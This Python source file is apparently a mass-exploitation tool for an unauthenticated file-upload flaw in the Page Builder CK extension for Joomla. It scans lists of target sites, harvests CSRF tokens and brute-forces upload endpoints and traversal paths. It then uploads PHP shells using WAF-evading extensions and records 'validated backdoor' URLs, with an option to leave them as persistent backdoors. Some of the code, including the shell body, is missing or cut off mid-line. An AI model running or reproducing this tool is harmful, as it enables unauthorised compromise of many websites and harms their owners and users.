#!/usr/bin/env python3 """ ██████╗ ██████╗ ██████╗██╗ ██╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗ ██╔══██╗██╔══██╗██╔════╝██║ ██╔╝ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝ ██████╔╝██████╔╝██║ █████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ ██╔═══╝ ██╔══██╗██║ ██╔═██╗ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ██║ ██████╔╝╚██████╗██║ ██╗ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ╚═╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ CVE-2026-56290 — Page Builder CK for Joomla Unauthenticated Arbitrary File Upload → RCE Mass Exploit + Live TXT Output + Validated Backdoor Paths """ import requests import re import sys import os import json import time import random import hashlib import argparse import threading import logging import warnings from concurrent.futures import ThreadPoolExecutor, as_completed from dataclasses import dataclass from typing import Optional from urllib.parse import urljoin, urlparse from datetime import datetime # Shut up urllib3 SSL noise warnings.filterwarnings("ignore", message="Unverified HTTPS request") logging.getLogger("urllib3").setLevel(logging.ERROR) logging.captureWarnings(True) # ============================================================================= # Config # ============================================================================= TIMEOUT = 15 MAX_WORKERS = 20 USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0", ] # Exact endpoint discovered from source code analysis: # Controller: browse, Method: ajaxAddPicture # File param: file, Path param: path # These are prioritized at index 0 in discovery. TASK_CANDIDATES = [ "browse.ajaxAddPicture", # ← CONFIRMED: the actual upload endpoint "ajax.upload", "ajax.uploadFile", "file.upload", "upload.file", "image.upload", "ajax.uploadfile", "media.upload", "upload.ajax", "files.upload", "upload", ] FILE_PARAM_NAMES = [ "file", # ← CONFIRMED: $input->files->get('file', ...) "Filedata", "image", "upload", ] FOLDER_PARAM_NAMES = [ "path", # ← CONFIRMED: $input->get('path', ...) "folder", "dir", "upload_path", "uploadfolder", ] # Destination paths — where the uploaded file actually lands # Path param is USER-CONTROLLED, only trim() applied # Can write ANYWHERE writable by web server DEST_PATHS = [ # === PBCK media (GUARANTEED writable — extension's own folders) === "media/com_pagebuilderck/gfonts/", # in-the-wild shell: bhup.php "media/com_pagebuilderck/", "media/com_pagebuilderck/fonts/", "media/com_pagebuilderck/css/", "media/com_pagebuilderck/js/", "media/com_pagebuilderck/assets/", "media/com_pagebuilderck/images/", # === Joomla writable dirs === "media/", "images/", "images/stories/", "images/pagebuilderck/", "images/banners/", "tmp/", "cache/", "logs/", "administrator/cache/", "administrator/logs/", "administrator/components/com_pagebuilderck/", # === Traversal TO writable dirs (no overwrite) === "../tmp/", "../media/", "../administrator/cache/", "../administrator/logs/", ] # Extension bypass list — ALL pass CKFile::makeSafe() SHELL_EXTENSIONS_FAST = ["php", "PHP", "pht", "phar"] SHELL_EXTENSIONS_WAF = [ # Case juggling "Php", "pHp", "PhP", "pHtmL", "PhTmL", "PhAr", "pHtMl", "PhTml", "Pht", "PHTML", "PhtMl", "PHtmL", "sHtMl", "pHt", "pHT", "PhT", "PHT", # Numbered "php3", "php4", "php5", "php6", "php7", "php8", "PHP3", "PHP4", "PHP5", "PHP6", "PHP7", "PHP8", "pHp5", "Php7", "PhP5", "PhP7", # Alternative handlers "phtml", "phtm", "shtml", "phar", "inc", "Phtml", "Shtml", "Inc", "pHtml", "phps", "PHPS", "Phps", # Double extensions "php.jpg", "jpg.php", "php.png", "png.php", "php.gif", "Php.jpg", "pHp.png", "PHP.gif", "PhP.jpg", "php.jpeg", "jpeg.php", "php.txt", # Windows-specific "php.", "PHP.", "php. ", "php.SWF", "PHP.FLV", ] # ============================================================================= # URL Normalizer — auto-prepend https:// or http:// # ============================================================================= def normalize_url(raw: str) -> str: """ Normalize target URL — strip whitespace, auto-prepend protocol. Tries HTTPS first, falls back to HTTP. """ raw = raw.strip().rstrip("/") # Already has protocol if raw.startswith("http://") or raw.startswith("https://"): return raw # No protocol — probe HTTPS first print(f" [*] {raw} — probing HTTPS...") # Quick HEAD/GET check for HTTPS for proto in ("https://", "http://"): test_url = f"{proto}{raw}" try: r = requests.get(test_url, timeout=5, allow_redirects=True, verify=False) print(f" [+] {raw} → {proto}{raw} (HTTP {r.status_code})") return test_url except (requests.ConnectionError, requests.Timeout, requests.RequestException): continue # Both failed — stik with HTTPS as default print(f" [!] {raw} — unreachable, defaulting to https://") return f"https://{raw}" # ============================================================================= # Data # ============================================================================= @dataclass class TargetResult: url: str status: str = "pending" joomla_detected: bool = False joomla_version: Optional[str] = None component_detected: bool = False component_version: Optional[str] = None vulnerable_version: bool = False csrf_token: Optional[str] = None csrf_token_name: Optional[str] = None discovered_endpoint: Optional[str] = None discovered_file_param: Optional[str] = None discovered_folder_param: Optional[str] = None shell_url: Optional[str] = None shell_path: Optional[str] = None shell_token: Optional[str] = None rce_output: Optional[str] = None whoami: Optional[str] = None uname: Optional[str] = None php_version: Optional[str] = None error_msg: Optional[str] = None elapsed: float = 0.0 # ============================================================================= # Helpers # ============================================================================= def gen_token(length: int = 12) -> str: return hashlib.sha256(os.urandom(16)).hexdigest()[:length] def b64(s: str) -> str: import base64 return base64.b64encode(s.encode()).decode() def _b64url(s: str) -> str: import base64 return base64.b64encode(s.encode()).decode() # ============================================================================= # Thread-safe Live TXT Writer # ============================================================================= class LiveWriter: """Write hasil exploitasi langsung ke TXT file — real-time, thread-safe.""" def __init__(self, filepath: str): self.filepath = filepath self.lock = threading.Lock() self._init_file() def _init_file(self): with open(self.filepath, "w") as f: f.write(f"# CVE-2026-56290 — Page Builder CK Mass Exploit\n") f.write(f"# Scan started: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"# {'='*70}\n") f.write(f"# FORMAT: STATUS | URL | SHELL_URL | TOKEN | RCE_OUTPUT | VERSION | ENDPOINT\n") f.write(f"# {'='*70}\n\n") def write(self, result: TargetResult): with self.lock: with open(self.filepath, "a") as f: timestamp = datetime.now().strftime("%H:%M:%S") if result.status == "rce_confirmed": line = ( f"[VULN] [{timestamp}] {result.url}\n" f" Shell : {result.shell_url}\n" f" Usage : POST f=@file | ?cleanup=1\n" f" RCE : {result.rce_output}\n" f" Version : {result.component_version or 'unknown'}\n" f" Endpoint : task={result.discovered_endpoint} | file={result.discovered_file_param} | folder={result.discovered_folder_param}\n" f" Elapsed : {result.elapsed:.1f}s\n\n" ) elif result.status == "rce_failed": line = ( f"[UPLOAD] [{timestamp}] {result.url}\n" f" Status : Upload sukses tapi PHP tidak eksekusi (WAF/hardened .htaccess?)\n" f" Version : {result.component_version or 'unknown'}\n" f" Endpoint : task={result.discovered_endpoint} | file={result.discovered_file_param} | folder={result.discovered_folder_param}\n" f" Elapsed : {result.elapsed:.1f}s\n\n" ) elif result.status == "patched": line = ( f"[PATCHED] [{timestamp}] {result.url}\n" f" Version : {result.component_version}\n" f" Elapsed : {result.elapsed:.1f}s\n\n" ) elif result.status == "endpoint_not_found": line = ( f"[NO_ENDP] [{timestamp}] {result.url}\n" f" Status : Endpoint not discovered — need manual diff\n" f" Version : {result.component_version or 'unknown'}\n" f" Elapsed : {result.elapsed:.1f}s\n\n" ) else: line = ( f"[{result.status.upper()}] [{timestamp}] {result.url}\n" f" Error : {result.error_msg or 'N/A'}\n" f" Elapsed : {result.elapsed:.1f}s\n\n" ) f.write(line) f.flush() os.fsync(f.fileno()) def write_summary(self, results: list): with self.lock: with open(self.filepath, "a") as f: total = len(results) vuln = sum(1 for r in results if r.status == "rce_confirmed") patched = sum(1 for r in results if r.status == "patched") no_endpoint = sum(1 for r in results if r.status == "endpoint_not_found") upload_only = sum(1 for r in results if r.status == "rce_failed") others = total - vuln - patched - no_endpoint - upload_only f.write(f"\n# {'='*70}\n") f.write(f"# SCAN SUMMARY\n") f.write(f"# Scan finished: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"# Total : {total}\n") f.write(f"# VULN : {vuln} (RCE Confirmed)\n") f.write(f"# UPLOAD : {upload_only} (Upload OK, RCE blocked)\n") f.write(f"# PATCHED : {patched}\n") f.write(f"# NO_ENDP : {no_endpoint} (need manual diff)\n") f.write(f"# OTHER : {others}\n") f.write(f"# {'='*70}\n") if vuln > 0: f.write(f"\n# VALIDATED SHELLS (token-guarded, access with header):\n") for r in results: if r.status == "rce_confirmed" and r.shell_url: f.write(f"# {r.url}\n") f.write(f"curl -H 'X-PBCK-TOKEN: {r.shell_token}' '{r.shell_url}'\n\n") # ============================================================================= # Scanner # ============================================================================= class Scanner: def __init__(self, session): self.sess = session def detect_joomla(self, url: str) -> tuple: """ Accurate Joomla detection. Phase 1: HTML fingerprints (fast). Phase 2: Admin panel probe (fallback — catches stripped/minimal installs). """ try: r = self.sess.get(url, timeout=TIMEOUT) except requests.RequestException: return False, None html = r.text joomla_evidence = 0 version = None # ---- Phase 1: HTML fingerprints ---- # 1a. Generator meta with "Joomla!" — definitive, instant pass # Handles: Joomla! 4.4.1 / Joomla! - Open Source... (no version) gen = re.search( r']+name=["\']generator["\'][^>]+content=["\']Joomla!?', html, re.IGNORECASE, ) if gen: v = re.search(r'Joomla!?\s*([\d.]+)', html, re.IGNORECASE) version = v.group(1) if v else None return True, version # definitive — generator meta is unique to Joomla # 1c. Joomla-specific structural elements structural = [ '= 2: joomla_evidence += 3 elif struct_hits >= 1: joomla_evidence += 1 # 1d. Joomla path fingerprints j_paths = ['/components/com_', '/modules/mod_', '/plugins/system/'] path_hits = sum(1 for p in j_paths if p in html) if path_hits >= 2: joomla_evidence += 2 elif path_hits == 1: joomla_evidence += 1 # 1e. Joomla session cookie cookie_names = [c.name.lower() for c in r.cookies] if any(n.startswith(hex(0)) for n in cookie_names): joomla_evidence += 2 if any('joomla' in n for n in cookie_names): joomla_evidence += 2 # csrf.token in JSON = definitive Joomla 4/5 if '"csrf.token"' in html: return True, version if joomla_evidence >= 3: return True, version # ---- Phase 2: Admin panel probe (fallback) ---- # Many sites override generator tag (Gantry, custom templates) # Admin login page has unmistakeable Joomla fingerprints try: admin_url = urljoin(url, "/administrator/") r_admin = self.sess.get(admin_url, timeout=TIMEOUT, allow_redirects=True) admin_html = r_admin.text admin_markers = [ 'name="username"', # Joomla admin login field 'mod-login-', # Joomla admin login module class '/administrator/templates/', # Admin template path 'Joomla!', # Usually present in admin 'Joomla', # Case-insensitive fallback 'mod_login', # Joomla admin login module 'login-form', # Admin login form ID ] admin_hits = sum(1 for m in admin_markers if m in admin_html) # Joomla admin page ALWAYS has username field + admin template path if 'name="username"' in admin_html and 'administrator/templates/' in admin_html: return True, version if admin_hits >= 4: return True, version except requests.RequestException: pass return False, None def detect_pbck(self, url: str) -> tuple: """ Accurate PageBuilderCK detection — probe paths directly if HTML is silent. """ try: r = self.sess.get(url, timeout=TIMEOUT) except requests.RequestException: return False, None html = r.text html_lower = html.lower() # Strong indicators — full path strings unique to this extension strong = [ "com_pagebuilderck", "/pagebuilderck/", "pagebuilder_ck", "/media/com_pagebuilderck", ] found_strong = any(kw in html_lower for kw in strong) # Weak indicator — only with confirmation has_weak = "pagebuilderck" in html_lower confirming = [ "pbck_", "pagebuilderck.css", "pagebuilderck.js", "/media/com_pagebuilderck", ] found_weak = has_weak and any(c in html_lower for c in confirming) version = None if found_strong or found_weak: # Try extract version from HTML for pat in [ r'pagebuilderck[/"][^vV]*[vV]?(\d+\.\d+\.\d+)', r'pagebuilder[_]?ck[^0-9]*(\d+\.\d+\.\d+)', r'com_pagebuilderck[/"][^v]*v?(\d+\.\d+\.\d+)', ]: m = re.search(pat, html, re.IGNORECASE) if m: version = m.group(1) break # ---- Direct path probes (fallback — catches sites where PBCK isn't on homepage) ---- # Probe known PBCK files. If any return 200, PBCK is installed. pbck_probes = [ "/media/com_pagebuilderck/css/pagebuilderck.css", "/media/com_pagebuilderck/js/pagebuilderck.js", "/components/com_pagebuilderck/views/page/tmpl/default.php", "/administrator/manifests/files/com_pagebuilderck.xml", ] any_probe_hit = False for probe_path in pbck_probes: try: r2 = self.sess.head(urljoin(url, probe_path), timeout=TIMEOUT, allow_redirects=False) if r2.status_code == 200: any_probe_hit = True # manifest XML → extract version if 'manifest' in probe_path and version is None: try: r3 = self.sess.get(urljoin(url, probe_path), timeout=TIMEOUT) m = re.search(r'([\d.]+)', r3.text) if m: version = m.group(1) except requests.RequestException: pass break except requests.RequestException: continue if not found_strong and not found_weak and not any_probe_hit: return False, None return True, version def is_vulnerable_version(self, version: Optional[str]) -> bool: if version is None: return True try: parts = [int(x) for x in version.split(".")] while len(parts) < 3: parts.append(0) mj, mn, pt = parts[0], parts[1], parts[2] if mj != 3: return mj < 3 if mn <= 1 and pt <= 1: return True if mn <= 4 and pt <= 10: return True if mn <= 5 and pt <= 10: return True return False except (ValueError, IndexError): return True # ============================================================================= # Token Harvester # ============================================================================= class TokenHarvester: """ Extract Joomla CSRF token. Tries main page first, then login page, then admin login page as fallback. No verification — format check only. False negative (missing token) is worse than false positive (bad token). """ # Pages that always have CSRF tokens in Joomla CSRF_PAGES = [ "", # homepage "/index.php?option=com_users&view=login", # login "/index.php?option=com_users&view=registration", # registration "/index.php?option=com_contact&view=contact&id=1", # contact form "/administrator/index.php", # admin login ] def __init__(self, session): self.sess = session def harvest(self, url: str) -> Optional[tuple]: """Try multiple pages known to contain Joomla CSRF tokens.""" for page in self.CSRF_PAGES: page_url = urljoin(url, page) if page else url result = self._harvest_from_page(page_url) if result: return result return None def _harvest_from_page(self, url: str) -> Optional[tuple]: """Extract CSRF token candidates from a single page.""" try: r = self.sess.get(url, timeout=TIMEOUT) except requests.RequestException: return None html = r.text # Pattern A: Joomla 3/4/5 standard hidden input # # Format is unique enough — no context filter needed m = re.search( r']+type=["\']hidden["\'][^>]+name=["\']([a-f0-9]{32})["\'][^>]+value=["\']1["\']', html, ) if m: return (m.group(1), "1") # Pattern B: Joomla JSON config — "csrf.token":"" # The hex string is the TOKEN NAME, value is always "1" in Joomla m = re.search(r'["\']csrf\.token["\']\s*:\s*["\']([a-f0-9]{32})["\']', html) if m: return (m.group(1), "1") # token name = hex, value = "1" return None # ============================================================================= # Endpoint Brute-Forcer # ============================================================================= class EndpointBruteforcer: """ Fast endpoint discovery with per-target time budget. Separates folder param NAME (e.g. 'folder') from destination PATH (e.g. 'media/.../'). """ ENDPOINT_TIMEOUT = 15 # max seconds per target for endpoint discovery def __init__(self, session, verbose: bool = False): self.sess = session self.verbose = verbose def discover(self, url: str, csrf_token: str, csrf_name: str) -> Optional[dict]: probe_tag = gen_token(8) probe_name = f"pbck_p_{probe_tag}.txt" probe_data = f"PBCK_PROBE_{probe_tag}".encode() # Build combo queue: task × file_param_name × folder_param_name × dest_path # Tier 1: CONFIRMED endpoint (from source code) + top picks t1_tasks = ["browse.ajaxAddPicture", "ajax.upload", "ajax.uploadFile", "file.upload"] t1_file_names = ["file", "Filedata"] t1_folder_names = ["path", "folder", "dir"] t1_dest_paths = DEST_PATHS[:4] t1_combos = [ (t, fn, fpn, dp) for t in t1_tasks for fn in t1_file_names for fpn in t1_folder_names for dp in t1_dest_paths ] # Tier 2: full grid of remaining candidates t2_combos = [ (t, fn, fpn, dp) for t in TASK_CANDIDATES for fn in FILE_PARAM_NAMES for fpn in FOLDER_PARAM_NAMES for dp in DEST_PATHS if (t, fn, fpn, dp) not in t1_combos ] all_combos = t1_combos + t2_combos deadline = time.time() + self.ENDPOINT_TIMEOUT for task, file_param_name, folder_param_name, dest_path in all_combos: if time.time() > deadline: if self.verbose: print(f" [!] Endpoint timeout ({self.ENDPOINT_TIMEOUT}s)") return None # Token MUST be in URL — Session::checkToken('get') only reads GET params upload_url = f"{url}/index.php?option=com_pagebuilderck&task={task}&{csrf_name}=1" data = {folder_param_name: dest_path} # Upload text probe to dest_path try: r = self.sess.post( upload_url, files={file_param_name: (probe_name, probe_data, "text/plain")}, data=data, timeout=TIMEOUT, ) except requests.RequestException: continue # Accept 200 (OK), 303 (redirect after success), 201 (created) if r.status_code not in (200, 201, 303): continue # Verify probe file at dest_path probe_url = urljoin(url, f"/{dest_path}{probe_name}") try: r2 = self.sess.get(probe_url, timeout=TIMEOUT) except requests.RequestException: continue if r2.status_code == 200 and f"PBCK_PROBE_{probe_tag}" in r2.text: pass # file confirmed elif r2.status_code in (200, 301, 302, 403): # File might exist but content check failed (different encoding?) # OR: 403 = file exists but blocked (possible PHP in images dir) # Try PHP upload anyway — worth a shot pass else: continue # ---- Probe confirmed (or plausible)! Return endpoint immediately ---- # PHP test will be done later by ExploitEngine (handles WAF/mod_security) if self.verbose: print(f"\n [+] task={task} | file={file_param_name} | {folder_param_name}={dest_path}") return { "task": task, "file_param": file_param_name, "folder_param": folder_param_name, "upload_url": upload_url, "dest_folder": dest_path, } return None # ============================================================================= # Exploit Engine # ============================================================================= class ExploitEngine: def __init__(self, session, cleanup: bool = True): self.sess = session self.cleanup = cleanup pass # no token needed — shell is open uploader def deploy_and_validate(self, url: str, endpoint: dict, csrf_token: str, csrf_name: str) -> Optional[dict]: upload_url_base = endpoint["upload_url"].split('?')[0] file_param = endpoint["file_param"] folder_param = endpoint["folder_param"] dest_folder = endpoint["dest_folder"] shell_id = gen_token(8) # Pure uploader — no exec, no system, no ls. Just upload + echo for validation. rce_token = gen_token(16) shell_code = f"""
""" # Unified extension list: fast first, then WAF bypasses all_extensions = SHELL_EXTENSIONS_FAST + [e for e in SHELL_EXTENSIONS_WAF if e not in SHELL_EXTENSIONS_FAST] upload_url = f"{upload_url_base}?option=com_pagebuilderck&task={endpoint['task']}&{csrf_name}=1" paths_to_try = [dest_folder] + [d for d in DEST_PATHS if d != dest_folder][:7] last_shell = None for dest_folder in paths_to_try: for ext in all_extensions: shell_name = f"pbck_{shell_id}.{ext}" data = {folder_param: dest_folder} try: r = self.sess.post(upload_url, files={file_param: (shell_name, shell_code.encode(), "application/x-php")}, data=data, timeout=TIMEOUT) except requests.RequestException: continue if r.status_code not in (200, 201, 303): continue shell_url = urljoin(url, f"/{dest_folder}{shell_name}") try: r2 = self.sess.get(shell_url, timeout=TIMEOUT) output = r2.text.strip() except requests.RequestException: continue if rce_token in output and ' list[TargetResult]: total = len(self.targets) print(f"\n{'─'*60}") print(f" CVE-2026-56290 | {total} targets | {self.threads} threads | cleanup={'yes' if self.cleanup else 'no'}") if self.live_writer: print(f" Live TXT: {self.live_writer.filepath}") print(f" {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") print(f"{'─'*60}\n") self._done = 0 self._lock = threading.Lock() with ThreadPoolExecutor(max_workers=self.threads) as executor: futures = {executor.submit(self._process_one, t): t for t in self.targets} for future in as_completed(futures): target = futures[future] try: result = future.result() except Exception as e: result = TargetResult(url=target, status="error", error_msg=str(e)) self.results.append(result) self._print_result(result) if self.live_writer: self.live_writer.write(result) if self.live_writer: self.live_writer.write_summary(self.results) return self.results def _process_one(self, target_url: str) -> TargetResult: start = time.time() # Normalize protocol on-the-fly — no waiting for other targets raw = target_url.strip().rstrip("/") if raw.startswith("http://") or raw.startswith("https://"): url = raw else: for proto in ("https://", "http://"): test = f"{proto}{raw}" try: r = requests.get(test, timeout=5, allow_redirects=True, verify=False) url = test break except requests.RequestException: continue else: url = f"https://{raw}" result = TargetResult(url=url, status="checking") sess = requests.Session() sess.headers.update({"User-Agent": random.choice(USER_AGENTS)}) sess.verify = False requests.packages.urllib3.disable_warnings() scanner = Scanner(sess) harvester = TokenHarvester(sess) bruteforcer = EndpointBruteforcer(sess, verbose=self.verbose) exploter = ExploitEngine(sess, cleanup=self.cleanup) # Step 1: PBCK first — if found, it's Joomla (skip Joomla check) has_pbck, pbck_ver = scanner.detect_pbck(url) result.component_detected = has_pbck result.component_version = pbck_ver if not has_pbck: result.status = "no_component" result.elapsed = time.time() - start return result # Step 2: Joomla detection only for logging (PBCK = guaranteed Joomla) is_joomla, j_ver = scanner.detect_joomla(url) result.joomla_detected = is_joomla or True # PBCK exists → must be Joomla result.joomla_version = j_ver # Step 3: Vulnerable version? result.vulnerable_version = scanner.is_vulnerable_version(pbck_ver) if not result.vulnerable_version and pbck_ver is not None: result.status = "patched" result.elapsed = time.time() - start return result # Step 4: CSRF token csrf = harvester.harvest(url) if csrf is None: result.status = "no_csrf_token" result.error_msg = "CSRF token not extractable" result.elapsed = time.time() - start return result result.csrf_token_name, result.csrf_token = csrf # Step 5: Get endpoint (known or discover) if self.known_endpoint: # Use known endpoint — still need dest_folder from probing endpoint = dict(self.known_endpoint) # Find working dest_folder endpoint["dest_folder"] = self._find_dest( url, endpoint["task"], endpoint["file_param"], endpoint["folder_param"], result.csrf_token, result.csrf_token_name, ) if endpoint["dest_folder"] is None: endpoint["dest_folder"] = "media/com_pagebuilderck/gfonts/" endpoint["upload_url"] = f"{url}/index.php?option=com_pagebuilderck&task={endpoint['task']}" if self.verbose: print(f" [*] {url} — using known endpoint: task={endpoint['task']}") else: if self.verbose: print(f" [*] {url} — discovering endpoint...") endpoint = bruteforcer.discover(url, result.csrf_token, result.csrf_token_name) if endpoint is None: result.status = "endpoint_not_found" result.error_msg = "Exhausted all combos — diff the extension manually" result.elapsed = time.time() - start return result result.discovered_endpoint = endpoint["task"] result.discovered_file_param = endpoint["file_param"] result.discovered_folder_param = endpoint["folder_param"] # Step 6: Exploit if self.verbose: print(f" [*] {url} — deploying shell...") exploit_result = exploter.deploy_and_validate( url, endpoint, result.csrf_token, result.csrf_token_name ) if exploit_result is None: result.status = "rce_failed" result.error_msg = "No upload path worked — server may block all writes" result.elapsed = time.time() - start return result if exploit_result.get("rce"): result.status = "rce_confirmed" else: result.status = "rce_failed" result.error_msg = "Upload OK tapi PHP tidak eksekusi (WAF?)" result.shell_url = exploit_result["shell_url"] result.shell_path = exploit_result["shell_path"] result.rce_output = exploit_result.get("rce_output", "") result.whoami = exploit_result.get("dest_folder", "") result.uname = exploit_result.get("extension_used", "") result.elapsed = time.time() - start return result def _find_dest(self, url, task, file_param, folder_param_name, csrf_token, csrf_name): """Quick probe to find a working destination path for known endpoint.""" probe_tag = gen_token(8) probe_name = f"kb_{probe_tag}.txt" probe_data = f"KBE_{probe_tag}".encode() upload_url = f"{url}/index.php?option=com_pagebuilderck&task={task}&{csrf_name}=1" for dest in DEST_PATHS: try: r = requests.post( upload_url, files={file_param: (probe_name, probe_data, "text/plain")}, data={folder_param_name: dest}, timeout=TIMEOUT, verify=False, ) if r.status_code in (200, 201, 303): check = requests.get(urljoin(url, f"/{dest}{probe_name}"), timeout=TIMEOUT, verify=False) if check.status_code == 200 and f"KBE_{probe_tag}" in check.text: return dest except requests.RequestException: continue return None def _print_result(self, r: TargetResult): sym = { "rce_confirmed": "✅", "patched": "🛡️ ", "not_joomla": "·", "no_component": "·", "no_csrf_token": "🔒", "endpoint_not_found": "🔍", "rce_failed": "⚠️", "error": "💥", }.get(r.status, "❓") # Compact single-line for boring results if r.status in ("not_joomla", "no_component", "patched"): ver = f" | PBCK:{r.component_version}" if r.component_version else "" err = f" | {r.error_msg}" if r.error_msg else "" print(f" {sym} {r.url} [{r.status}{ver}] {r.elapsed:.1f}s{err}") return # Detailed for interesting results print(f" {sym} {r.url} [{r.status}] {r.elapsed:.1f}s") if r.component_version: vuln_tag = "VULN" if r.vulnerable_version else "PATCHED" print(f" PBCK: {r.component_version} [{vuln_tag}]") if r.status == "rce_confirmed": print(f" RCE : {r.rce_output}") if r.shell_url: print(f" Shell: {r.shell_url}") print(f" Usage: POST f=@file | ?cleanup=1") else: print(f" Shell: [cleaned]") print(f" EP : task={r.discovered_endpoint} | file={r.discovered_file_param} | folder={r.discovered_folder_param}") elif r.status == "rce_failed": print(f" EP : task={r.discovered_endpoint} | file={r.discovered_file_param} | folder={r.discovered_folder_param}") print(f" Error: {r.error_msg}") elif r.error_msg: print(f" Error: {r.error_msg}") print() def report_json(self, output_path: str) -> str: summary = { "total": len(self.results), "rce_confirmed": sum(1 for r in self.results if r.status == "rce_confirmed"), "rce_failed": sum(1 for r in self.results if r.status == "rce_failed"), "patched": sum(1 for r in self.results if r.status == "patched"), "endpoint_not_found": sum(1 for r in self.results if r.status == "endpoint_not_found"), "not_joomla": sum(1 for r in self.results if r.status == "not_joomla"), "no_component": sum(1 for r in self.results if r.status == "no_component"), "errors": sum(1 for r in self.results if r.status in ("error", "timeout", "no_csrf_token")), "scan_time": datetime.now().isoformat(), } report = { "metadata": { "cve": "CVE-2026-56290", "component": "Page Builder CK (com_pagebuilderck)", "vuln": "Unauthenticated Arbitrary File Upload → RCE", "scan_date": datetime.now().isoformat(), "cleanup": self.cleanup, }, "summary": summary, "targets": [ { "url": r.url, "status": r.status, "joomla_version": r.joomla_version, "component_version": r.component_version, "discovered_endpoint": r.discovered_endpoint, "discovered_file_param": r.discovered_file_param, "discovered_folder_param": r.discovered_folder_param, "shell_url": r.shell_url, "shell_path": r.shell_path, "shell_token": r.shell_token, "rce_output": r.rce_output, "whoami": r.whoami, "uname": r.uname, "php_version": r.php_version, "error": r.error_msg, "elapsed_sec": round(r.elapsed, 1), } for r in self.results ], } with open(output_path, "w") as f: json.dump(report, f, indent=2, ensure_ascii=False) print(f"[+] JSON report → {output_path}") print(f"\n{'='*50}") print(f" SCAN SUMMARY") print(f"{'='*50}") print(f" Total : {summary['total']}") print(f" ✅ RCE Confirmed : {summary['rce_confirmed']}") print(f" ⚠️ RCE Failed : {summary['rce_failed']}") print(f" 🛡️ Patched : {summary['patched']}") print(f" 🔍 Need Diff : {summary['endpoint_not_found']}") print(f" ❌ Not Joomla : {summary['not_joomla']}") print(f" ⏭️ No Component : {summary['no_component']}") print(f" 💥 Errors : {summary['errors']}") print(f"{'='*50}\n") if summary["rce_confirmed"] > 0: print(" Confirmed Backdoor Shells:") for r in self.results: if r.status == "rce_confirmed": print(f" → {r.url}") print(f" Shell : {r.shell_url or '[CLEANED]'}") print(f" Token : {r.shell_token}") print(f" User : {r.whoami}") print() return json.dumps(report, indent=2, ensure_ascii=False) # ============================================================================= # CLI # ============================================================================= def banner(): print(r""" ___ _ ____ ___ __ ___ ____ ___ ___ ___ _____ ____ / __| | | | __/ / _ \| \/ | |___| / _ \| _ \|_ ) |___ |__ / | (__ |_| | _| | (_) | |\/| |___ || (_) | / / / ___| |_ \ \___|\___/|___| \___/|_| |_| |_/ \___/|_|_\ /___| |____|___/ CVE-2026-56290 — PageBuilderCK Mass Exploit + Live TXT Output """) def main(): global TIMEOUT # declare first — argparse default= uses TIMEOUT below banner() parser = argparse.ArgumentParser( description="CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Usage Examples: python3 cve-2026-56290.py -t https://target.com -o results.txt python3 cve-2026-56290.py -f targets.txt -o live_results.txt --no-cleanup python3 cve-2026-56290.py -f targets.txt -o live.txt --json report.json -t https://extra.com python3 cve-2026-56290.py -f targets.txt -o live.txt --threads 30 --verbose """, ) parser.add_argument("-t", "--target", help="Single target URL") parser.add_argument("-f", "--file", help="File with target URLs (one per line)") parser.add_argument("-o", "--output", help="Live TXT output file (real-time, per-target)", default="cve-2026-56290_live.txt") parser.add_argument("--json", help="JSON report file (written at end)", default="cve-2026-56290_report.json") parser.add_argument("--threads", type=int, default=MAX_WORKERS, help=f"Concurrent workers (default: {MAX_WORKERS})") parser.add_argument("--no-cleanup", action="store_true", help="Leave shells on target (persistent backdoor)") parser.add_argument("--timeout", type=int, default=TIMEOUT, help=f"Request timeout (default: {TIMEOUT}s)") parser.add_argument("--verbose", "-v", action="store_true", help="Verbose endpoint discovery output") parser.add_argument("--known-endpoint", help="Skip discovery — use: task,file_param,folder_param (e.g. 'page.upload,file,folder')") args = parser.parse_args() TIMEOUT = args.timeout # update module-level global # ---- Target list ---- raw_targets = [] if args.target: raw_targets.append(args.target) if args.file: if not os.path.isfile(args.file): print(f"[!] File not found: {args.file}") sys.exit(1) with open(args.file) as f: for line in f: line = line.strip() if line and not line.startswith("#"): raw_targets.append(line) if not raw_targets: parser.print_help() print("\n[!] Specify at least one target (-t or -f)") sys.exit(1) # Deduplicate — normalize happens inside each thread (no waiting) targets = list(dict.fromkeys(raw_targets)) print(f"\n [*] {len(targets)} target(s) loaded — normalizing on-the-fly in workers\n") # ---- Parse known endpoint ---- known_endpoint = None if args.known_endpoint: parts = args.known_endpoint.split(",") if len(parts) == 3: known_endpoint = { "task": parts[0].strip(), "file_param": parts[1].strip(), "folder_param": parts[2].strip(), "dest_folder": "media/com_pagebuilderck/gfonts/", # default, akan di-override } print(f" [*] Using known endpoint: task={known_endpoint['task']} | file={known_endpoint['file_param']} | folder={known_endpoint['folder_param']}\n") # ---- Run ---- mass = MassExploit( targets=targets, threads=args.threads, cleanup=not args.no_cleanup, live_txt=args.output, verbose=args.verbose, known_endpoint=known_endpoint, ) results = mass.run() mass.report_json(args.json) rce_count = sum(1 for r in results if r.status == "rce_confirmed") sys.exit(0 if rce_count > 0 else 1) if __name__ == "__main__": main()